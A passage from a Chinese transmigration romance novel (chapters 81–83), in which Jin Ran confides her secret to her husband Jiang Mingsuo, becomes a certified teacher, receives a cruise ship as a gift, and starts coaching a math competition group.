虽然已经心知肚明,但她从来没有亲自承认过,很奇怪,不过她心中实际还存着一点点警惕,无关亲密关系,而是“穿书”这样的事情太过“骇人听闻”,她不确定江明羧会不会相信。 二来,如果得知自己只是一本书中的角色,所有的命运都早已注定,他、他们会开心吗? 金苒很是纠结。 最后,她还是决定将决定权交给对方:“如果,我是说如果,有一个机会可以让你知道自己的未来,你想知道吗?” 若他愿意,她就和盘托出;若他不愿意,这个秘密就永远埋藏心底。 问出这句话时,金苒没有注意到,江明羧眼中的沉思。 片刻后,他回答:“如果是我的话,我不想知道。” “为什么?说不定是好事呢。” 江明羧了她一眼:“就算告诉我未来会成为首富,难道我现在可以不上班?” 金苒:“……” 说得好有道理,居然无法反驳。 见她呆呆的样子,江明羧忍不住叹了口气,她给他选择,而他何尝看不出她的紧张与彷徨? 曾经何时,他故意揭穿她身份,冷眼旁观那些欲盖弥彰的笨拙表演。当时只觉得有趣,如今却连万分之一的伤害风险都不愿让她承受。 他仿佛一个四肢被套上了枷锁的囚犯,于方寸之地畏手畏脚,却没有丝毫后悔的情绪。 江明羧忽然抬起手,扯掉盖在头顶的毛巾。 他起身,高大的身躯笼罩住一片阴影,神情是洞察的了然:“是前一个金苒知道了未来?” 金苒猛地瞪大眼睛,他知道了? 江明羧好笑,修长的手指穿过女人的发丝,动作亲昵地揉了揉,本来不确定,但此刻她的反应已经说明一切:“推测罢了,或许在‘她’眼里,未来的我足够有价值——值得她主动联姻。” 可偏偏,又无法接受某些事情。 比如虞山,比如王翠花那些挑拨离间的话,明羧毫不怀疑,原本的金苒会是如何的厌恶与鄙夷。 果然在聪明人面前,什么都没办法隐瞒,金苒点了点头:“其实我也只是猜测。” 她把自己在金家发现的真相全盘托出,包括他会受伤以及虞山的事情:“一开始我不明是什么意思,不过现在想来,大概和你的家人有关。” 原身的计划中,虞山是重中之重,特意用红笔标注,她究竟是想借此施以援手,还是另有所图,如今已经不得而知。 不过有一点金苒是确定的,文档中除了一些日期和地点人物,写的最多的就是首富两个字。 ——江明羧未来会成为首富。 金苒内心甚至有一种茅塞顿开的感觉,为什么原身一边抗拒又一边联姻,为什么书中的原身会成为“豪门弃妇”,原来,不过是一场提前押注的豪赌。 倒是江明羧对原身的想法是不太感兴趣。 在事业方面,他是个自信乃至于自负的人,比起虚无缥缈的未来,他更在意另外一件事情:“会对你有影响吗?” 金苒正沉浸在震撼中,闻言愣住:“什么?” 江明羧定定看着她:“这个不是你的身体,如果她再次出现,你怎么办?” 这一点金苒很早就想过,果断摇摇头:“不会。” 她穿过来的那一刻就清晰地感觉到了,自己并非夺舍,而是填补了一个“没有灵魂”的纸片人躯体,所以她才会坦然接受了自己变成另外一个人的现实,并且开始置顶计划,努力生活。 还有一件事情。 假使有人细心观察就会发现,如今这副身躯与金苒原本的模样分毫不差,反而与原身的容貌气质大相径庭,这种奇妙的契合,仿佛冥冥之中有一双无形的手,操纵着一切。 江明羧不知道原因,但见她笃定,便点了点头,手心不自觉地攥紧:“那你……会回去吗?” “不会吧,太远了。”金苒想了想,回答。 横跨了两个世界,而且上辈子的她被车撞到了马路牙子上,想回也回不去了。 不料江明羧却理解成为另外一种“远”:“你生活的时代距离现在很远?” 金苒微微 诧异:“虽然两边时间不对等,不过应该都属于二十一世纪吧。” 譬如很多零食,和日常工具,都是她曾经吃过用过的。 江明羧拧紧眉头。 他似乎不理解,脸上浮现出罕见的困惑,沉默片刻,突然没头没尾地冒出一句:“所以,那个魏雅不是你的后代。” 金苒:“?” “???” 你在口出什么狂言? 当天晚上,江明羧险些被从卧室里赶出来,最后还是他以“随时给金苒下厨”作为赔罪,才被允许睡在床上,但必须划分三八线,他三,金苒八。 对此,猜错年龄的江总自知理亏,老老实实接受了这个不平等条约。 半个小时后,身侧传来均匀的呼吸,江明羧尚未有动作,方才还信誓旦旦不理人的金苒已经越过三八线,自动靠了过来。 秋夜的凉意透过窗缝渗入,睡梦中的女人本能地追寻温暖,像只怕冷的小动物般往他怀里钻,她的发丝扫过他的脖颈,带着淡淡的石榴香气。 黑暗中,江明羧勾了下唇,伸手将人揽入怀中。 睡着的金苒对此一无所知。 只是她做了个梦,梦里她头戴珍珠冕旒,像个皇帝似的坐在王座之上,而江明羧一袭朝服立于她的左侧,手中托着的不是玉笏,而是一叠镶金黑卡。 “首富太太,这是今日的早膳。” 她后知后觉,江明羧未来成为首富的话,自己岂不是首富太太? 现实中,江明羧被一阵轻笑声扰醒,垂下眼眸,发现怀中的金苒不知梦到什么,正咯咯笑个不停,他无奈摇了摇头,再次闭上眼。 / 另一边,江许黎回到卧室,直到薯片袋见底才猛然想起,忘了拍照打卡。 连忙停下来,对着窗边月光找了半天角度,“咔嚓”几声后,挑选九张照片哐哐哐发到朋友圈。 【第一次吃这个口味,还不错】 相比较江明羧的朋友圈,江许黎的朋友很是活跃,大半夜炸出几十条。 没一会儿,陈训良私聊。 社会良哥:【你是谁?】 社会良哥:【不管你是谁,从黎哥的身上下去!】 除了帅一无所有:【滚】 社会良哥:【真是黎哥,不可思议,你不是最讨厌黄瓜口味的吗?】 社会良哥:【难道是……】 【嘴巴变异了?】 除了帅一无所有:【……】 看在陈训良抓心挠肝的份上,江许黎终于大发慈悲告诉对方答案:【别人给我买的,我尝了尝,还算不错。】 别人买的不特别,特别的是黎哥专门发一个朋友圈:【江叔叔买的?不对啊,江叔叔只会给你买教辅书。】 【总不能是金老师买的吧?】 除了帅一无所知:【嗯】 【她非给我买的】 社会良哥:【……黎哥,你要是困了,可以先去睡觉,专家说大白天幻想容易得精神病】 【滚蛋!】 江许黎笑骂着锁了屏幕,嘴角却不受控制地扬起。 或许连他自己都没有意识到,他纠结的点在于金苒没有告诉他,而不是他爸没有邀请他。 所以得知金苒特意给他买了零食后,那点儿火气就哧溜一下瘪了。 孤僻,嘴硬的的少年人,内心深处同样期待着被关注的心思。 如今,他有了炫耀的资本。 / 八月初,金苒在教练的推荐下,四次考试一把过,并成功考到驾照。 本本到手的当天,她就兴高采烈地去车库里挑车。 男人爱车就像女人爱买衣服一样,即便是江明羧这样低调的霸总,车库里也停着五辆豪车,除了日常代步的保时捷和迈巴赫,还有另外不同的三辆。 金苒来之前做足了功课,把每辆车都研究了一遍,可真到了要上手开的时候,她又有点发怵。 最后,她选了车库最里面那辆最不起眼的车,虽然和其他四辆一样有佣人保养,但无论是外观还是内饰都朴素得多,管家告诉她,这是江总人生中的第一辆车。 “这车大概值多少钱?”金苒小心翼翼地问。 管家笑着回答:“二十万左右。” 二十万虽然不算小数目,但比起动辄几百万的豪车,金苒觉得即便磕了碰了也还能承受,因为停得太靠里,她让管家帮忙把车倒了出来。 练习了几天后,金苒渐渐找到了在驾校的感觉,觉得开车没有想象中那么难,她甚至开始盘算着开学后自己开车上下班的可能性。 充实的日子飞逝而过,暑假快要结束的时候,教育局的官网有了动静。 金苒的体检和政审全部通过,名字出现在了公示录用名单中。 这似乎是一件意外又不意外的事情,无论如何,在长达半年的做题试讲中,在无数个早起的黎明和熬夜的夜晚中,金苒的付出得到回报。 她拿下了心心念念的编制,成为一名体制内的教师。 她上岸啦! 欢喜自不用多提,按照原则,考完教师编的教师会由教育局统一分配就业,根据户籍、成绩分配到乡镇或指定学校。不过在此之前,文承那边已经先打来电话,询问金苒的就职意向。 金苒明白学校间有他们自己的办法。 她没有跳槽的打算,所以简单沟通了一下,双方达成一致,新的学期她会继续留任。 当然,是以正式教师的身份。 电话刚挂断,手机屏幕又亮了起来——是江明羧的来电。 只瞥见名字,金苒的唇角已经翘起来:“喂?” “我看到了公示名单,恭喜。” 江明羧的声音透过听筒传来,低沉而温柔,像羽毛轻扫过耳廓,让金苒的喜悦跳跃似的,翻了好几倍。 一场正常恋爱总是让人感到由内到外松弛的。 她可以保持自我,而对方也有自己的事情做,他们或许不会一直黏在一起,却能保持相同的步调。 然后时不时的,来一场交汇。 金苒不会沉迷爱情,但在相处友好的情况下,她同样不排斥这种莫名其妙的欢喜,只要听见他的声音,她的心情都会美好起来。 像魔法一样。 观看魔法的人,好好享受便好了。 第82章 第82章麻烦给我太太,游轮是她…… 其实这场婚后迟来的酸臭恋爱,还是有点点小小吐槽的。 或许因为江明羧的工作性质,又或者是“十岁的年龄代沟”,这个老男人每次庆祝的方式都格外单调统一——约她一起出去吃饭。 一开始金苒还有点儿失望,觉得老男人一点儿不浪漫,但不浪漫的老男人有他自己的魔力和魅力,一句“抱歉,我没有更多的恋爱经验”,就让金苒哑口无言,什么也说不出来了。 甚至有点儿小窃喜。 不过事后,她还是特意挑选了一个礼物送给他,名字就叫《恋爱必做的一百件小事》,江明羧收到后虽然没有说什么,但后面金苒时不时便会在生活中发现一些小惊喜,仔细回想,似乎来自那本书中的小tips。 哇,不愧是霸总,行动力超强。 后面再遇到需要庆祝的事情,金苒也变得期待起来。 一是好奇江明羧这次会做哪个tip,二是好奇古板老男人做那些事情时的表情和反应。 比如有一次,江明羧准备做“情侣陶瓷杯”,特意请了专门的陶瓷师傅,但中间金苒不小心摔倒,他去扶她的时候,两人双双摔到泥土上, 让江许黎偷偷拍了好多照片。 他不敢直面他爸的怒火,反而把照片发给金苒,然后被“恩将仇报”的金苒做成了许多霸总牌表情包。 因为老男人总是把表情包当做自己,彼时见到她用“霸总牌表情包”时,难得发了好几个问号。 想到这里,金苒不由得笑起来。 相比较庆祝,对于这次教师编的结果,两人都不意外,金苒故意失望地问:“只有口头恭喜吗?” 那头的江明羧轻笑了声,他似乎在走路,话音里带着风的速度:“初步打算是邀请金老师 出来,不知道金老师有没有档期。” “唔,十一点到下午暂时空闲。” “现在十点半,大概十一点半我这边能够忙完,实习的部门要晚一点,十二点。” 早在前段时间,明技和文承对接了暑期社会实践项目,文承的学生可以向明技申请实习岗位,而江明羧和王萍萍都去了。 金苒为继子打抱不平:“你这个老板好心黑啊,自己十一点半下班,员工却要十二点下班。” “嗯,因为想提前去接你。” 好吧,金苒觉得未成年多吃点苦对成长有益处。 不过她看了眼时间尚且比较充足,想了想开口表示:“要不然我开车去接你们吧!” “我最近已经能独立开车上路了,昨天还帮小孙跑了趟市里,完全没问题。” 江明羧听出她语气中的跃跃欲试,想到从别墅到明技的路况还算顺畅,便点头应允:“好,那你自己小心。” 金苒依旧开的是那辆小破车。 如今这辆车基本已经成了她的专属座驾,车上摆放着许多小玩偶、猫玩具,后视镜挂饰处挂了一个贝壳手链——和送给江明羧的那一个差不多,属于“情侣款”。 系好安全带,熟练转动方向盘,金苒放下手机,全神贯注地开车前往目的地。 先接到的自然是给自己开后门的江明羧,男人坐到副驾驶的位置上,顺手递过来一瓶拧开的果汁:“上次来公司看你喜欢喝这个。” 金苒正好有些渴了。 她没有动手,直接探过头借着江明羧的姿势喝起来。 末了,甜甜微笑:“好甜啊。” “是吗?”江明羧拿到嘴边尝了下,“味道确实不错,回头让王特助买一些送到硕果湾。” 两人没有等待太久,在明技实习的高中生们便下班出来。 一眼就看到了走在最后方的江许黎。 在同龄人面前的少年还是酷的,他插着兜,表情深沉,和其他学生保持着距离,但并非完全,偶尔有人和他讨论“工作”中遇到的问题,他也会回应。 金苒打开车门,招手:“小黎子——” 江许黎正思考着最近要出教师编成绩,他想给她准备个礼物,其实前几天就准备好了,只是有点担心她不喜欢。 当然,他是有小心思的。 再过三个月就是江许黎的生日,他提前投资收买金苒,到时候才好开口要生日礼物。 没道理他爸都有礼物,他没有的话,会很没有面子的。 乍然听到熟悉的声音,江许黎还以为幻听了,直到抬头看到金苒。 慢悠悠的脚步变得飞快,很快他跑到了跟前:“你怎么来了?” 说罢已经看到坐在副驾驶的人,灵机一动:“教师编成绩出了?” 金苒笑起来:“对啊,你爸说要庆祝。” 江许黎也很高兴,比自己考试进步还要高兴,以后金苒就是正式教师:“是值得庆祝,去哪?” “还不知道,你爸安排的。” 这个时候,其他学生慢慢走了过来。 来应聘的,大多是家境贫寒的学生,明技的社会实践有“补助”,不多,只有两千元,好家庭的学生看不上,但却能给家境贫困的学生补贴家用。 “江许黎,你家里人来接你了啊!” “江许黎,今天不一起吃饭了吗?” 江许黎摆了摆手:“不吃了,我和家人出去吃。” 他们便没有说什么,且并不是所有人都认识金苒,这会儿只觉得是个特别漂亮的大姐姐。 金苒还在其中看到了王萍萍。 是个内向害羞的小姑娘,被另外一个姑娘挽着胳膊,脸上漾着轻快明亮的笑容。 江许黎和同伴们告别后就打开车门坐到后排,这辆汽车空间小,两腿大长腿有些蜷缩,他撇撇嘴:“你怎么又开这个车,同学看见要笑话我了。” 笑话是不可能笑话的,不过是担心金苒不好意思开口,毕竟他爸养了那么多车,随便一辆都比小破车好。 他自己更是毫不在意,只是并不是所有人都像他这样思想开明,那些圈子里的富太太,以及别墅区其他住户就“以车取人”。 上次江许黎正好撞见了几个背后议论的,嫌弃小区随便把车放进来,当时他气得不行,趁人没注意,偷偷拍下对方遛狗不牵绳的照片发给物业。 金苒挑眉:“那你走?” 江许黎屁.股扎根座位,老神在在:“我爸车库里那么多车,你开口要,他还能不给你?” 一边说着一边拿眼神觑前排。 江明羧果然开口:“车子只是代步工具,你想开哪一辆都可以。” 金苒倒不是排斥开好车,点了点头:“等过段时间我的车技更好一点再开吧。”否则弄坏了不仅心疼,还要花钱。 闻言,江许黎小声嘟囔:“真是小气,真大方,怎么不直接给人买辆适合女士开的车?要是直接把车买到家里,她还能给你扔了不成?” 金苒:“……” 江明羧:“……” 少年,你的胆子是越来越大了。 眼见父子两人要对上,金苒赶紧解释:“是我坚持要开这一辆的!我是去学校上班,开太好的车容易被人扎轮胎。” 上学期刚被扎过轮胎的江许黎,这才勉强相信她的说法。 地点是江明羧定的,金苒没有特意搜过,一路开车过去,才发现是机场附近。 宽敞的空地上停着一辆直升机,江明羧带着两人坐上飞机,伴随着巨大的引擎轰鸣,直升机的高度渐渐升高,最后越来越高,越来越高。 等金苒反应过来,他们已经莫名到了天上。 狂风扯着发丝,耳膜在气压变化中嗡嗡作响,让她抓紧安全带的手心沁出了汗,但当她往窗外看时,碧蓝的天融化成泼天的色彩,雾状的云彩变得触手可及。 俯瞰城镇,高楼大厦逐渐缩小成棋盘,天地广袤,人于其中,渺小如尘埃一般,变得微不足道,再小的喜悦也值得珍藏。 当机身穿过白云时,金苒忍不住惊呼出声,她仿佛被抛进了一片纯白的世界,心跳染上了轻盈。 她兴奋地看向江明羧,眼底盛满碎光,为这意料之外的浪漫庆祝而感到惊喜。 老男人真的长进了! 江明羧也看过来,嘴唇张合,但因为直升机上的风声太大,金苒没有听清楚。 不过想也知道,大概是问她喜不喜欢。 她点头,重重点头。 很喜欢,真的真的很喜欢。 唯一小遗憾的是,原以为今天会是老一套吃饭逛街看电影,所以出门前特意空着肚子,这会儿已经有点儿饿了。 不过金苒不愿意做一个扫兴的人,她打算待会儿落地后,找个机会买点吃的。 心里这样想着,眼睛欣赏着窗外独特的风景,直到蔚蓝的汪洋一下子撞进视野。 “我们到了……海?”金苒一怔。 江明羧这次听见了,他伸手握住她的手:“嗯,准备下降。” 在他说完没多久,直升机便果真开始下降。 随着高度逐渐降低,金苒的视野中出现了一艘纯白色的游轮,当飞行器完全降落在地面时,游轮上的工作人员早已捧着登记簿等候在一旁:“请问是江先生吗?” 江明羧颔首。 工作人员便恭敬地递过来一张单子:“这是您的游轮,请签收。” 江明羧却没有接,而是道:“麻烦给我太太,游轮是她的。” 早在刚下飞机的时候,金苒就就懵了。 这会儿听到两人对话,脑子里冒出来的也是——“我是谁我在哪我要干什么?” 江明羧让她签名她就签名,全程晕乎乎的,签完名之后,工作人员脸上的笑意更加真切,言说两分钟后游轮就要出发,且上层的甲板阳台已经准备好餐食,请他们尽情享用。 金苒一下子回过神。 她不可置信地抬起头,视线尽头,江明羧眉眼含笑:“怎么了?” 金苒小心翼翼:“这,真是给我的?” 怎么仿佛做梦似的。 但江明羧告诉她这不是做梦:“一起上去看看?” “走走走!” 身后的江许黎已经迫不及待。 金苒深吸一口气,抬脚踏上楼梯。 还是熟悉的“江式”庆祝,不过庆祝地点从餐厅换成游轮,浪漫程度直线上升,吹着海风,欣赏着美丽的海景,金苒觉得自己已经被金钱腐蚀。 如果现在再让她去过苦日子,恐怕连一天都撑不下去。 说她现实也好,说她拜金也罢,可她就是不愿再吃苦——不,应该说这世上只有傻子才会自讨苦吃,没苦硬吃。 江明羧是未来的首富,她作为他的太太,能站在巨人的肩膀上眺望风景,何必非要赤脚踩在荆棘路上证明自己的愚蠢? 虽然如此,在下船的时候,金苒还是偷偷问江明羧:“游轮这么大,我们怎么带回去啊?” 原谅她人生第一次买游轮,实在不知道具体流程。 江明羧低笑一声,安慰性捏了捏她的指尖:“放心,已经托管在专业的游轮俱乐部,他们会安排日常维护、船员管理和航线规划,如果想出海,提前通知他们准备就行。” 得知有专门负责人员,金苒松了口气,并非常有先见之明地没有询问托管价格。 这件事情被徐珍知道后,仍为单身的小姐妹深深酸涩了。 “嘘,听到那个声音了么。” “什么?” “我破防的声音。” 金苒:“……” “下次假期带你去兜海风。”她郑重承诺。 这还差不多,徐珍满血复活。 两人坐在串串店里撸串,文承中学还有一周开学,但那是学生的待遇,老师们可没有那样的好待遇。 被拉壮丁到学校准备迎新事宜,因为金苒的“家长参观会”效果显著,包括林太太侄子在内的几位家长都把孩子送了过来,为此,她比其他老师更加忙碌。 中午忙完之后,匆匆在学校外面的小吃街解决午餐。 徐珍吃了几口,谈起自己听来的八卦:“暑期的时候,高三的赵老师拉了笔大捐款,加上她那些优秀教师称号,现在可是教导主任的热门人选。" 她轻轻碰了碰金苒的手腕:“你的功劳也不比她差,就输在了教学成绩上,要不然也想办法提高一下优势?” 金苒叹气:“我也想提高,但总不能凭空多出几年教学经验吧。 “你忘了啊,下半年学校重视竞赛,反正你的课程也不多,不如带个竞赛小组。” 这话倒是给金苒提了个醒,之后,她果真考虑起可行性。 新学期她升为正式教师,教务处大概会给她再分一个班级,两个班级稍微忙了点,但也有较多的时间。 闲着也是闲着,不如带带竞赛? 何况,她在教那些孩子的时候,的确发现有些学生偏科严重。 按照正常高考,他们只能考个本科,不如走竞赛路线,如果能拿到好成绩,能够一够更好的大学。 忙到傍晚,打工老师疲惫回家。 金苒叫住要去公交站的徐珍:“我开车送你。” 徐珍:“???你还买车了?” 金苒有些不好意思:“嗯,江明羧送我的,他说他的那些车都不适合女孩子。” “怎么不适合?” “外观吧,因为我更喜欢五颜六色的。” 徐珍:“……” 如果不是亲眼所见,谁能想到,叱咤商场的江总,私底下是个连太太车辆颜色都要亲自打点的恋爱脑。 另一边,恋爱脑的江明羧,接到了一个出乎意料的电话。 “江总,上次犬子冒犯的事,是我管教无方。”简总的声音透着几分恭敬和谨慎,“我已经严加训斥,还请您大人不计小人过,不要跟他一般见识。” 对于这样的道歉,江明羧无动于衷,他神色冷淡:“简总,令郎的行为,很难不让人怀疑简家的诚信。" 电话那头沉默一瞬,半晌才再次开口,只是嗓音无力了许多:“江总说得对,之前是我想差了,简家的家业不能交到一个蠢货手中。” 明眼人都看得出来,江明羧虽然表面上没有采取任何行动,但仅仅是这种疏远的态度,就已经让简家有些举步维艰,几个重要项目接连受阻,往日亲密的合作伙伴也开始观望。 简总不得不厚下脸皮来道歉。 最后,简总像是下定决心般开口:“有件事情江总恐怕不知道……” “我那犬子人虽然蠢,但从不撒谎,他说那些事情是金小姐让他做的。” 第83章 第83章你也是最好的一届老师 “金小姐?难道是金静?” 当天晚上,简总的话就一字不差地传到了金苒耳中。不过这番“故意”的试探注定徒劳,他哪里知道江明羧和金苒早已互通消息,自然不会轻易上钩。 不过,金苒还是忍不住皱起眉头,庆幸原身早早分手,这前男友怎么跟狗皮膏药似的。 江明羧安慰她:“放心,简二翻不出什么花样。” “至于简成平,”他顿了顿,嘴角露出嘲讽,“年轻时候的确有几分魄力,老了反倒束手束脚,什么也不敢做。” 为了不成器的儿子,还是一个私生子,糊涂事做尽,他甚至不需要做什么,简家迟早会自食恶果。 闻言,金苒松了口气。 让她考试讲课还好,这种尔虞我诈的阴谋实在太费脑细胞,但她相信江明羧,既然对方都说放心,那她就放心好了。 困顿地打了个哈欠:“那他说的宴会就不管啦,真是的,明天开学我肯定要忙一天,谁有时间搭理他们啊。” 后面几个字带上了浓重的鼻音。 江明羧捏了捏她的手:“嗯,事情都交给我,早点睡吧。” “晚安。” 等金苒睡着,江明羧才疲惫地闭上眼睛。 一夜好梦安眠。 不过早上江明羧醒来的时候,还是被赶到了床铺的边缘。 金苒胳膊腿全部搭在他的身上,像怀抱一只大型的毛绒熊,怪不得梦中感觉有些喘不上气。 他习以为常地将女人挪开,动作轻手轻脚出门,没有吵醒对方。 下楼时碰见早早等在客厅的江许黎,少年正坐在餐桌前,拿着手机噼里啪啦聊天。 听到动静抬起头,目光先是落到江明羧身后,没有看到人影。 收回视线,叫了一声:“爸”。 江明羧点了点头。 父子俩人话不多,相顾无言吃完早餐,江明羧出门去公司,看到仍坐在那儿的江许黎:“要不要送你去学校?” 江许黎犹豫了一下,放在以前,他大概很期望父亲的关心,现在也在意,但没有那么执着了:“不用,我已经和她说好了。” 这个她是谁不言而喻。 江明羧挑了挑眉,没有再多管。 他还要去公司,就先一步离开了,出门后,江明羧的脸色就跌下来。 简家的事情大概没有表现出来的那么简单,江明羧之前选择无视,是因为根本不在意,和简二交往的是过去的金苒,无论他们如何恋爱、如何相处,都牵动不了他半分心思。 但现在不同了。 对方既然要牵扯到她,江明羧就不会坐视不管。 他掏出手机,拨通电话:“查清楚简二这半年的交际圈,包括所有异常动向。” 另一边,江许黎目送他爸离开后,又等了一分钟,见某人还是没有要醒的迹象,终于耐不住性子跑上二楼敲门。 “金苒,金苒快醒醒,要迟到了!” 砰砰砰。 动静大的墙上的壁画都在晃动。 没一会儿,卧室里传来一阵窸窸窣窣的响动,接着是枕头砸在门板上的闷响。 “江许黎——” 金苒气愤的抱怨声隔着门板传出,“你自己看看时间,是不是有病啊!” 见她清醒过来,江许黎心中满意了,对于“花香鸟语”充耳不闻,只大声催促:“快点,我在客厅等你。” 金苒:“ ……” 不过也多亏了江许黎,两人开车去学校的时候,幸运地避免了早高峰的堵车。 新学期开学,校园里一片热闹景象。新生们带着好奇的目光四处张望,而老生们则升入了更高的年级,这意味着班级座位要重新调整。 王舒雅起了个大早,就是为了能抢到前排的好位置,她抱着书包匆匆走向教学楼时,恰好看见江许黎从金老师的车上下来。 倒是没有多想,只以为两人在半路上遇见的。 但看到江许黎和金老师关系这么亲近,她心里不由得升起一股危机感。 金老师刚来的时候就说过,数学课代表要按期末考试成绩来选,王舒雅这次考了142分,本来可以更高的——最后那道大题她思路完全正确,却因为粗心写错了一个数字,导致后续计算全盘皆错。 而江许黎,毫无悬念地又是满分150分。 这样一来,自己的成绩只能排到第二名,这让一心想要当数学课代表的王舒雅怎么能不焦虑呢? 她满心愁绪,甚至没有心思像往常一样跑去黏着金苒,因为害怕看到金老师失望的眼神。 也就没有注意到,周围的其他学生举起手机。 / 停车场,金苒坚决要把江许黎赶下自己的车子。 这小子一路上嘴巴就没有停过,起因只是因为这辆车是他去给她挑的,事实证明,江许黎拿捏女生喜好比他爸强多了,金苒很喜欢这个低调的绿色。 “我生日马上到了。” 金苒随口道:“还早吧。”她在整理班上学生的档案时看到过江许黎的生日,记得似乎在十月。 江许黎:“哪里远了,只有一个月了,你可是答应要送我礼物的。” 金苒忍无可忍把车窗关闭:“允许我纠正你一下,是‘还有’一个月零三天。” 一个月零三天,也就是整整三十五天,时间长到她能够再考一次驾照,看着车外还在喋喋不休的少年,金苒简直不忍直视,谁能想到,曾经那个孤僻冷漠的校草,如今竟变得比老妈子还要啰嗦。 停完车子,金苒收到数学组同事的消息,让她直接去礼堂开会。 每一学期的开始,校长都会给全体教师动员开会,内容无非是总结过去,鼓励当下并动员未来。 但今年的会议稍微有些不同,结束之前,校长宣布新学期将推选新的教导主任的计划。 “比起那些尸位素餐来混经验的,这次推选主要看为学校做出的贡献、为学生做出的实事,经过上个学期的观察,我心里已经有几个人选,不过具体还没确定。”校长的语气轻描淡写,却让台下的老师们瞬间绷紧了神经。 这么快? 一些有打算但尚未准备的老师心情微妙,暗骂校长不按常理出牌,打的他们措手不及。 本以为还能周旋一二,不料校长这次是打定主意有所改变,没待大家反应,当众宣布了几个候选人的名字,金苒的名字赫然在列。 不认识的纷纷打听,认识的都知道金苒做的事情,觉得名副其实。 不说旁的,单是能让明技科技那样的大公司愿意给学校捐建室内体育馆,便是一桩实打实的功劳。 当然也有不满的,觉得明技科技本来就有合作的意向,金苒只是运气好正好赶上了,可再不满也无济于事,校长只是宣布名单,而非征求意见。 至于金苒,其实并没有那么在意。 流言就像夏日里恼人的蝉鸣,只要不在意,便不会影响分毫,那些人的酸言酸语,反而让她更加坚定了自己的方向。 怎么才能让讨厌你的人痛心疾首,抓肝挠心,痛不欲生? 答案是:登上他们登不上的高度,让他们一辈子只能仰望。 于是动员会刚散场,她就雷厉风行地找到数学组组长,直截了当道:“王老师,我想申请带今年的数学竞赛。” 王老师对于新来的同事还是很喜欢的,聪明,上进,之前弄的互助学习就很不错:“想要带学生,得有过往有竞赛经验。” 金苒本人是有竞赛经验的,但不知道原身的情况,又仔细询问了王老师关于竞赛需要的其他条件,打算回家后查一查。 / 高一三班,如今已经是高二三班,也进行了开学后的第一次班会。 每个年级共有十六个班级,原先的三班属于中等水平,后来因为数学老师请假,班级成绩一路下滑到了第十名。但令人意外的是,寒假过后,他们班的排名竟然直接跃升至第六名。 这是什么概念?三班班主任现在走进办公室都不敢笑得太大声,生怕其他班主任恼羞成怒找他算账。 尤其数学成绩:“从倒数第一到整数第五,足足进步了十一名!” 底下当即有学生喊:“都是金老师的功劳!” 班主任不仅不生气,反而笑呵呵道:“那你们可得好好感谢金老师。” 这话不需要班主任提醒,学生们心里跟明镜似的,哪个老师是真心实意,哪个是敷衍了事,他们比谁都清楚。 就像四班的数学老师,上课总是心不在焉,可金苒却把每个知识点都讲得透彻明白,连最基础的例题都要反复确认每个人都听懂。 一下课,大家便围到班长桌子前,商量要怎么感谢金老师。 有人提议唱歌,有人提议买礼物。后排的陈训良听了会儿,举世混浊而我独清地摇了摇头,这些人实在蠢啊,他回头偷偷问:“黎哥,金老师喜欢什么?” 江许黎仔细想了想:“浪漫的东西吧。” 他爸每次搞幼稚东西的时候,她好像都很喜欢。 这话正好被路过的王舒雅听见。她脚步一顿,早上来学校时的记忆突然涌上来,心情郁闷,本来想上前搭话的念头消散,别别扭扭地转身离开。 “那不如买一束花?女生都喜欢花,到时候咱们每个人再写一段感谢语,后面花谢了,感谢语还会在。” 两个大大咧咧的男生根本没有注意到这一小插曲,陈训良随口提议。 这个意见得到了广大女生们的支持,送花多浪漫啊,在班长的带头下,三班的学生用班费订了一束鲜花。 当金苒收到的那一刻,她差点感动哭了。 来文承是她权衡利弊后的结果,而入职后做的一系列事情,也是因为想要晋升,他们感谢她,她更应该感谢他们。 感谢他们陪着自己去尝试,感谢他们毫无保留的信任。 漂亮的人哪怕哭泣仍旧动人,眼角泛红,仿佛涂抹了一圈胭脂:“你们是我带过最好的一届。” “老师,你才带过我们一届吧。” “对啊,我第一次就带到这么聪明的学生,我想以后你们的学弟学妹恐怕要活在你们的阴影里了。” 闻言,学生们捧腹大笑,便是江许黎同样忍不住勾起嘴角。 花是第二节上课的时候送来的,因为江许黎坐在教室的后门,被委以重任去拿花。 所以没有人知道,他偷偷在花里面多放了一张纸条。 【致金老师——】 【你也是最好的一届老师】 / 最终,那束花被金苒拿回去,用花瓶养了起来。 为了保存久一点,她还让下班顺路的江明羧去花鸟市场帮自己买了一些液体营养液,为花枝补充营养。 不过到底是无.根的花朵,不可能永生,在快要枯萎的时候,又被金苒晒 成了干花。 当然,那都是后话。 在确定带数学竞赛之后,回到家的她便开始查原身的教育经历。 然后她发现,原身的经历和自己非常相像,对方大学时期,或许是为了镀金,又或者真的喜欢,曾参加过三次竞赛,其中两次取得了不错的成绩。 连名次都一模一样! 这让金苒觉得奇怪的同时,心里隐隐有种担忧。 世界上真有这么巧合的事情吗? 可如果不是巧合,那又是为什么,她穿书难道另有原因? 想也想不明白,最后,金苒只能将这份担忧暂时压在心底,转而把竞赛证明发给王老师,对方确定无误后,同意了她的申请。 就这样,金苒开始了她的竞赛辅导工作。 她负责的学生不多,都是来自三班的学生,江许黎、王舒雅,以及一个叫林乐乐的女生,没办法,毕竟其他班的学生也不相信她。 但金苒很满意。 人不在多而在精,她精力有限,三个学生的数量起到好处。 日子紧锣密鼓,竞赛还没到来,某人的生日先一步在日复一日的念叨中到了。 非常不巧的,这一天是工作日,家里两个需要上班,一个需要上学,这让江许黎眉头就没有放下过,早晨从金苒的车上下去的时候,装作不经意地提醒。 然而金苒仿佛没有听懂似的,一脸茫然。 那一刻,江许黎心都凉了。 他觉得她八成忘记了,心情难过又失落,可他又不能说什么,谁也没有义务去记住谁的生日,何况最近一段时间,金苒为了竞赛班的事忙得脚不沾地,忘记也是情有可原。 话虽如此,江许黎胸口那股酸涩的失落感还是不受控制地蔓延开来,整个上午都提不起精神,中午放学铃刚响,他手机震动起来,他也没什么兴趣,直到看到上面的字:【十分钟出来,否则东西就没了】 江许黎:【???什么东西】 他下意识屏住呼吸。 新的消息很快跳出来:【唔,可能是某个小寿星丢的礼物?】 教室里,陈训良目瞪口呆地看着一早上都阴沉着脸的江许黎突然嘴角上扬,眼睛如星辰似的亮起来。 “我出去一下。”江许黎站起来就往外冲。 陈训良:? 他忍不住想,笑这么开心,难道黎哥背着他偷偷谈恋爱啦? 另一边,金苒取到礼物之后,便在学校门口静静等待。 说来这礼物也是经过她精挑细选才选出来的,不算贵重,但却正好是江许黎“需要”的,她存着恶趣味正想象着待会儿少年看到礼物时的表情,突然在街对面看到一个熟悉的身影。 简二也看到了她。 